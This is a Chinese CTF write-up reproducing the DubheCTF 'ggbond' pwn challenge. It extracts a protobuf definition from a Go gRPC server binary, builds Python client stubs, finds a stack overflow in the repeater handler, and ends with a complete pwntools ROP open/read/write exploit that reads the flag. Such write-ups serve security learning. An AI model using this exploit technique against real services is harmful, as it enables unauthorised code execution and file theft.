题目是一点看不懂,网上找wp
拼拼凑凑复现一下
题目给了一个docker
和一个pow.py
,加注释版pow.py
:
# 导入所需的库
import string
import itertools
import re
from pwn import * # 用于网络连接和交互
from hashlib import sha256 # 用于计算SHA-256哈希值
# 目标服务器的IP地址和端口号(这里需要替换成实际的值)
remote_ip = ''
remote_port = 1337
# 解决PoW挑战的函数
def pow():
# 建立到远程服务器的连接
p = remote(remote_ip, remote_port)
# 接收挑战字符串,直到遇到 ' == ',并解码成字符串格式
rev = p.recvuntil(b' == ').decode()
# 使用正则表达式从接收到的挑战中提取所需的字符串部分
pattern = r'xxxx\+([a-zA-Z0-9]+)'
rev = re.search(pattern, rev).group(1)
# 接收目标摘要值
target_digest = p.recv(64).decode()
# 定义字符集合,用于生成所有可能的4字符组合
characters = string.ascii_letters + string.digits
# 生成所有可能的4字符组合
all_combinations = [''.join(comb) for comb in itertools.product(characters, repeat=4)]
# 遍历所有组合,寻找满足条件的字符串
for comb in all_combinations:
proof = comb + rev # 拼接字符串
digest = sha256(proof.encode()).hexdigest() # 计算SHA-256哈希值
if target_digest == digest: # 检查哈希值是否与目标摘要匹配
result = comb # 如果匹配,保存结果
break
# 将找到的解决方案发送给服务器
p.send(result)
# 接收下一步的连接指令
p.recvuntil(b' nc ')
rev = p.recvline().decode()
# 使用正则表达式提取目标IP地址和端口号
pattern = r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s(\d+)'
result = re.search(pattern, rev)
target_ip = result.group(1)
target_port = int(result.group(2))
sleep(3) # 等待3秒
return target_ip, target_port # 返回目标IP地址和端口号
# 调用函数并保存结果
target_ip, target_port = pow()
Proof of Work (PoW)
是一种共识机制,它通过要求请求者完成一项计算工作来证明其请求的合法性。这段代码的主要作用是通过解决Proof of Work (PoW)
来获取远程服务器指定的下一目标IP
地址和端口号
运行pwn
看看,监听了23334
端口
$./pwn
2024/03/21 14:36:52 server listening at [::]:23334
docker/bin
中有一个pwn
文件,检查保护
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
放到IDA
里分析,是一个go
程序(好好好,也是第一次写
469D80: using guessed type void __golang __noreturn start(char);
.gopclntab
段存在以下内容
aGoogleGolangOr_353 db 'google.golang.org/grpc/internal/transport.(*http2Server).WriteHeader
aGoogleGolangOr_55 db 'google.golang.org/protobuf/internal/encoding/json.init',0
RPC (Remote Procedure Call)
远程过程调用,允许一台计算机通过网络调用另一台计算机上的程序或函数,RPC
框架通常负责打包(序列化)请求参数,传输消息,在服务器端解包(反序列化)参数,执行远程过程,并将结果返回给客户端
gRPC
是由RPC
框架,支持多种编程语言。gRPC
默认使用Protocol Buffers(protobuf)
作为接口定义语言(IDL
)和其底层消息交换格式,提供了一种简洁高效的方式来定义服务和生成客户端和服务器代码
Protobuf(Protocol Buffers)
是
可以使用pbtk(Protobuf Toolkit)
工具反编译和重新编译Google Protobuf
:https://github.com/marin-m/pbtk
pbtk(Protobuf Toolkit)
是一套成熟的脚本,可通过统一的GUI
访问,它提供两个主要功能:
- 从程序中提取
Protobuf
结构,将其转换回可替代的.proto
- 通过方便的图形界面编辑、重播和模糊发送到
Protobuf
网络端点的数据
工具安装
sudo apt install python3-pip git openjdk-9-jre libqt5x11extras5 python3-pyqt5.qtwebengine python3-pyqt5
$ sudo pip3 install protobuf pyqt5 pyqtwebengine requests websocket-client
$ git clone https://github.com/marin-m/pbtk
$ cd pbtk
$ ./gui.py
选择step1
选pwn
文件,在.pbtk
文件夹中得到ggbond.proto
,以下是加注释版
.proto
文件是使用Protocol Buffers (protobuf)
定义数据结构的文本文件
// 指定使用protobuf的第三版语法
syntax = "proto3";
// 定义了一个包名GGBond,这有助于防止命名冲突,并可能被用于生成的代码包路径等
package GGBond;
// 指定生成的Go代码的包路径和包名,这里指示protoc生成的Go代码位于"./"目录下,包名为ggbond
option go_package = "./;ggbond";
// 定义一个服务GGBondServer,它包含了一个RPC方法Handler
service GGBondServer {
// Handler方法接受一个Request类型的请求,并返回一个Response类型的响应
rpc Handler(Request) returns (Response);
}
// 定义一个Request消息,包含一个名为request的oneof字段,表示请求可以是以下类型之一
message Request {
// oneof关键字表示request字段只能设置其一
oneof request {
WhoamiRequest whoami = 100; // Whoami请求
RoleChangeRequest role_change = 101; // 角色变更请求
RepeaterRequest repeater = 102; // 重复器请求
}
}
// 定义一个Response消息,包含一个名为response的oneof字段,表示响应可以是以下类型之一
message Response {
oneof response {
WhoamiResponse whoami = 200; // Whoami响应
RoleChangeResponse role_change = 201; // 角色变更响应
RepeaterResponse repeater = 202; // 重复器响应
ErrorResponse error = 444; // 错误响应
}
}
// 定义WhoamiRequest消息类型,用于Whoami请求,不包含任何字段
message WhoamiRequest {}
// 定义WhoamiResponse消息类型,包含一个message字段,类型为string
message WhoamiResponse {
string message = 2000; // 响应消息
}
// 定义RoleChangeRequest消息类型,包含一个role字段,类型为uint32
message RoleChangeRequest {
uint32 role = 1001; // 请求中指定的角色
}
// 定义RoleChangeResponse消息类型,包含一个message字段,类型为string
message RoleChangeResponse {
string message = 2001; // 响应消息
}
// 定义RepeaterRequest消息类型,包含一个message字段,类型为string
message RepeaterRequest {
string message = 1002; // 请求中包含的消息
}
// 定义RepeaterResponse消息类型,包含一个message字段,类型为string
message RepeaterResponse {
string message = 2002; // 响应消息
}
// 定义ErrorResponse消息类型,用于错误响应,包含一个message字段,类型为string
message ErrorResponse {
string message = 4444; // 错误消息
}
重新编译Google Protobuf
,这里需要先安装grpc_tools
(编译.proto
文件的gRPC
插件,Protocol Buffers(Protobuf)
编译器的Python
版本),这样就得到了ggbond_pb2_grpc.py
、ggbond_pb2.py
pip install grpcio-tools
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ggbond.proto
ggbond_pb2_grpc.py
:包含了grpc
服务的Python
代码,定义了服务和客户端类,这样就可以使用python
应用程序实现和调用定义在.proto
文件中的grpc
服务,用于构建和部署grpc
服务,可以在服务端实现这些类中定义的接口,并在客户端创建对应的存根来远程调用这些接口
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
import ggbond_pb2 as ggbond__pb2
#这个类是客户端存根,用于向gRPC服务发起调用
class GGBondServerStub(object):
"""Missing associated documentation comment in .proto file."""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.Handler = channel.unary_unary(
'/GGBond.GGBondServer/Handler',
request_serializer=ggbond__pb2.Request.SerializeToString,
response_deserializer=ggbond__pb2.Response.FromString,
)
#服务端的基类,用于实现.proto文件中定义的服务方法
class GGBondServerServicer(object):
"""Missing associated documentation comment in .proto file."""
#服务端需要实现的业务逻辑
def Handler(self, request, context):
"""Missing associated documentation comment in .proto file."""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
#实现了GGBondServerServicer接口的服务添加到gRPC服务器
def add_GGBondServerServicer_to_server(servicer, server):
rpc_method_handlers = {
'Handler': grpc.unary_unary_rpc_method_handler(
servicer.Handler,
request_deserializer=ggbond__pb2.Request.FromString,
response_serializer=ggbond__pb2.Response.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'GGBond.GGBondServer', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
#提供了一个静态方法,用于从客户端直接通过gRPC调用Handler服务方法
# This class is part of an EXPERIMENTAL API.
class GGBondServer(object):
"""Missing associated documentation comment in .proto file."""
@staticmethod
def Handler(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/GGBond.GGBondServer/Handler',
ggbond__pb2.Request.SerializeToString,
ggbond__pb2.Response.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
ggbond_pb2.py
:包含了.proto
文件中定义的所有消息(Protobuf
消息)的Python
类,提供了消息的序列化和反序列化功能,以及对消息字段的访问方法,用于在python
程序中使用.proto
文件中定义的数据结构来存储数据、通信
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: ggbond.proto
# Protobuf Python Version: 4.25.1
"""Generated protocol buffer code."""
#导入了几个用于处理protobuf消息的Python模块,这些模块包含了用于创建和管理protobuf描述符、符号数据库等的功能
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
# @@protoc_insertion_point(imports)
#创建一个符号数据库实例,用于注册和查找生成的protobuf消息和枚举类型
_sym_db = _symbol_database.Default()
#通过将protobuf定义序列化为二进制形式添加到描述符池中来注册GGbond.proto文件中定义的所有消息和枚举类型,以便在运行时能够通过名称查找和使用这些类型
DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0cggbond.proto\x12\x06GGBond\"\x9c\x01\n\x07Request\x12\'\n\x06whoami\x18\x64 \x01(\x0b\x32\x15.GGBond.WhoamiRequestH\x00\x12\x30\n\x0brole_change\x18\x65 \x01(\x0b\x32\x19.GGBond.RoleChangeRequestH\x00\x12+\n\x08repeater\x18\x66 \x01(\x0b\x32\x17.GGBond.RepeaterRequestH\x00\x42\t\n\x07request\"\xcd\x01\n\x08Response\x12)\n\x06whoami\x18\xc8\x01 \x01(\x0b\x32\x16.GGBond.WhoamiResponseH\x00\x12\x32\n\x0brole_change\x18\xc9\x01 \x01(\x0b\x32\x1a.GGBond.RoleChangeResponseH\x00\x12-\n\x08repeater\x18\xca\x01 \x01(\x0b\x32\x18.GGBond.RepeaterResponseH\x00\x12\'\n\x05\x65rror\x18\xbc\x03 \x01(\x0b\x32\x15.GGBond.ErrorResponseH\x00\x42\n\n\x08response\"\x0f\n\rWhoamiRequest\"\"\n\x0eWhoamiResponse\x12\x10\n\x07message\x18\xd0\x0f \x01(\t\"\"\n\x11RoleChangeRequest\x12\r\n\x04role\x18\xe9\x07 \x01(\r\"&\n\x12RoleChangeResponse\x12\x10\n\x07message\x18\xd1\x0f \x01(\t\"#\n\x0fRepeaterRequest\x12\x10\n\x07message\x18\xea\x07 \x01(\t\"$\n\x10RepeaterResponse\x12\x10\n\x07message\x18\xd2\x0f \x01(\t\"!\n\rErrorResponse\x12\x10\n\x07message\x18\xdc\" \x01(\t2<\n\x0cGGBondServer\x12,\n\x07Handler\x12\x0f.GGBond.Request\x1a\x10.GGBond.ResponseB\x0bZ\t./;ggbondb\x06proto3')
#使用DESCRIPTOR来生成Python中的消息类和枚举,这些函数负责创建对应于.proto文件中定义的消息类型的Python类
_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'ggbond_pb2', _globals)
if _descriptor._USE_C_DESCRIPTORS == False:
_globals['DESCRIPTOR']._options = None
_globals['DESCRIPTOR']._serialized_options = b'Z\t./;ggbond'
_globals['_REQUEST']._serialized_start=25
_globals['_REQUEST']._serialized_end=181
_globals['_RESPONSE']._serialized_start=184
_globals['_RESPONSE']._serialized_end=389
_globals['_WHOAMIREQUEST']._serialized_start=391
_globals['_WHOAMIREQUEST']._serialized_end=406
_globals['_WHOAMIRESPONSE']._serialized_start=408
_globals['_WHOAMIRESPONSE']._serialized_end=442
_globals['_ROLECHANGEREQUEST']._serialized_start=444
_globals['_ROLECHANGEREQUEST']._serialized_end=478
_globals['_ROLECHANGERESPONSE']._serialized_start=480
_globals['_ROLECHANGERESPONSE']._serialized_end=518
_globals['_REPEATERREQUEST']._serialized_start=520
_globals['_REPEATERREQUEST']._serialized_end=555
_globals['_REPEATERRESPONSE']._serialized_start=557
_globals['_REPEATERRESPONSE']._serialized_end=593
_globals['_ERRORRESPONSE']._serialized_start=595
_globals['_ERRORRESPONSE']._serialized_end=628
_globals['_GGBONDSERVER']._serialized_start=630
_globals['_GGBONDSERVER']._serialized_end=690
# @@protoc_insertion_point(module_scope)
上面这么多看着还是云里雾里的,干脆让gpt
写个例子
RepeaterRequest:
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
def run():
with grpc.insecure_channel('localhost:23334') as channel:
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
response = stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message='world')))
# 检查响应类型并相应地访问字段
if response.HasField('whoami'):
print("Client received (WhoamiResponse): " + response.whoami.message)
elif response.HasField('role_change'):
print("Client received (RoleChangeResponse): " + response.role_change.message)
elif response.HasField('repeater'):
print("Client received (RepeaterResponse): " + response.repeater.message)
elif response.HasField('error'):
print("Client received (ErrorResponse): " + response.error.message)
else:
print("Client received an unknown type of response")
if __name__ == '__main__':
run()
运行结果:
$python3 run.py
Client received (RepeaterResponse): GGBOND: world
WhoamiRequest:
# 发送 WhoamiRequest
whoami_request = ggbond_pb2.WhoamiRequest()
request = ggbond_pb2.Request(whoami=whoami_request)
response = stub.Handler(request)
运行结果:
$python3 run.py
Client received (WhoamiResponse): I'm GGBOND
RoleChangeRequest:
role_change_request = ggbond_pb2.RoleChangeRequest(role=3)
request = ggbond_pb2.Request(role_change=role_change_request)
response = stub.Handler(request)
运行结果:
python3 run.py
Client received (RoleChangeResponse): New Role: SDaddy.
测试(看了wp
后)发现changerole
为3
时RepeaterResponse
存在栈溢出(面向wp
复现了属于是
拼拼凑凑写个exp
用于交互的函数
from pwn import *
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def get_response(response):
if response.HasField('whoami'):
print("Client received (WhoamiResponse): " + response.whoami.message)
elif response.HasField('role_change'):
print("Client received (RoleChangeResponse): " + response.role_change.message)
elif response.HasField('repeater'):
print("Client received (RepeaterResponse): " + response.repeater.message)
elif response.HasField('error'):
print("Client received (ErrorResponse): " + response.error.message)
else:
print("Client received an unknown type of response")
def RepeaterRequest(content):
with grpc.insecure_channel('localhost:23334') as channel:
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
response = stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=content)))
get_response(response)
def WhoamiRequest():
with grpc.insecure_channel('localhost:23334') as channel:
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
whoami_request = ggbond_pb2.WhoamiRequest()
request = ggbond_pb2.Request(whoami=whoami_request)
response = stub.Handler(request)
get_response(response)
def RoleChangeRequest(num):
with grpc.insecure_channel('localhost:23334') as channel:
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
role_change_request = ggbond_pb2.RoleChangeRequest(role=num)
request = ggbond_pb2.Request(role_change=role_change_request)
response = stub.Handler(request)
get_response(response)
r.interactive()
试试,role
改成3
发送0x100
个a
,会报段错误
pwndbg> c
Continuing.
Thread 4 "pwn" received signal SIGSEGV, Segmentation fault.
而发送0x10
个a
时:
Client received (RepeaterResponse): SDaddy: YBYB, YBBB.
加个from base64 import
再编码后发0x100
个a
看看,成功控制了返回地址
► 0x7ee053 ret <0x6161616161616161>
查看rsp
看看多了多少个a
判断溢出需要的长度
pwndbg> x/20gx 0xc00016b6f0
0xc00016b6f0: 0x6161616161616161 0x6161616161616161
0xc00016b700: 0x6161616161616161 0x6161616161616161
0xc00016b710: 0x6161616161616161 0x6161616161616161
0xc00016b720: 0x6161616161616161 0x1010101010100000
pwndbg> p/x 0x100 - 0x38
$2 = 0xc8
最后orw
,没开pie
,看哪个地址顺眼找个地址orw
,read
和write
的fd
都是连蒙带猜,exp
运行的时候slepp(3)
来再nc
一个到23334
端口,最后的write
也是定位到了这里
$nc localhost 23334
@DubheCTF{fake_flag} a� J�@2� J��*� J��*�
exp
from pwn import *
from base64 import*
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import subprocess
import os
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('localhost', 23334)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def get_response(response):
if response.HasField('whoami'):
print("Client received (WhoamiResponse): " + response.whoami.message)
elif response.HasField('role_change'):
print("Client received (RoleChangeResponse): " + response.role_change.message)
elif response.HasField('repeater'):
print("Client received (RepeaterResponse): " + response.repeater.message)
elif response.HasField('error'):
print("Client received (ErrorResponse): " + response.error.message)
else:
print("Client received an unknown type of response")
def RepeaterRequest(content):
with grpc.insecure_channel('localhost:23334') as channel:
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
response = stub.Handler(ggbond_pb2.Request(repeater=ggbond_pb2.RepeaterRequest(message=content)))
get_response(response)
def WhoamiRequest():
with grpc.insecure_channel('localhost:23334') as channel:
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
whoami_request = ggbond_pb2.WhoamiRequest()
request = ggbond_pb2.Request(whoami=whoami_request)
response = stub.Handler(request)
get_response(response)
def RoleChangeRequest(num):
with grpc.insecure_channel('localhost:23334') as channel:
stub = ggbond_pb2_grpc.GGBondServerStub(channel)
role_change_request = ggbond_pb2.RoleChangeRequest(role=num)
request = ggbond_pb2.Request(role_change=role_change_request)
response = stub.Handler(request)
get_response(response)
tty = open("/dev/pts/1", 'wb', buffering=0)
process = subprocess.Popen(['nc', 'localhost', str(23334)], stdout=tty, stderr=tty)
RoleChangeRequest(3)
pop_rax_ret = 0x00000000004101e6
pop_rdi_ret = 0x0000000000401537
pop_rsi_ret = 0x0000000000422398
pop_rdx_ret = 0x0000000000461bd1
syscall = 0x000000000040452c
flag = 0x00000000007ef68d
addr = 0xC56400
p = b'a' * 0xc8
p += p64(pop_rax_ret) + p64(2) + p64(pop_rdi_ret) + p64(flag) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(syscall)
p += p64(pop_rax_ret) + p64(0) + p64(pop_rdi_ret) + p64(9) + p64(pop_rsi_ret) + p64(addr) + p64(pop_rdx_ret) + p64(0x100) + p64(syscall)
p += p64(pop_rax_ret) + p64(1) + p64(pop_rdi_ret) + p64(8) + p64(pop_rsi_ret) + p64(addr) + p64(pop_rdx_ret) + p64(0x100) + p64(syscall)
sleep(3)
RepeaterRequest(base64.b64encode(p))
r.interactive()